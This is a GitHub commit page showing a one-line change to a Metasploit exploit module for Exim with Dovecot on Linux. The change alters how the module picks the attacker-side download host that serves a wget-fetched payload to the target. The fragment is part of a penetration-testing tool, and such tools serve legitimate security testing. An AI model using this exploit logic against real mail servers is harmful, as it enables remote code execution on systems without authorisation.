We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
2 parents 4c4f2e4 + 7c396db commit d2100bfCopy full SHA for d2100bf
modules/exploits/linux/smtp/exim4_dovecot_exec.rb
@@ -123,7 +123,7 @@ def exploit
123
#we use SRVHOST as download IP for the coming wget command.
124
#SRVHOST needs a real IP address of our download host
125
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
126
- srv_host = Rex::Socket.source_address(rhost)
+ srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
127
else
128
srv_host = datastore['SRVHOST']
129
end
0 commit comments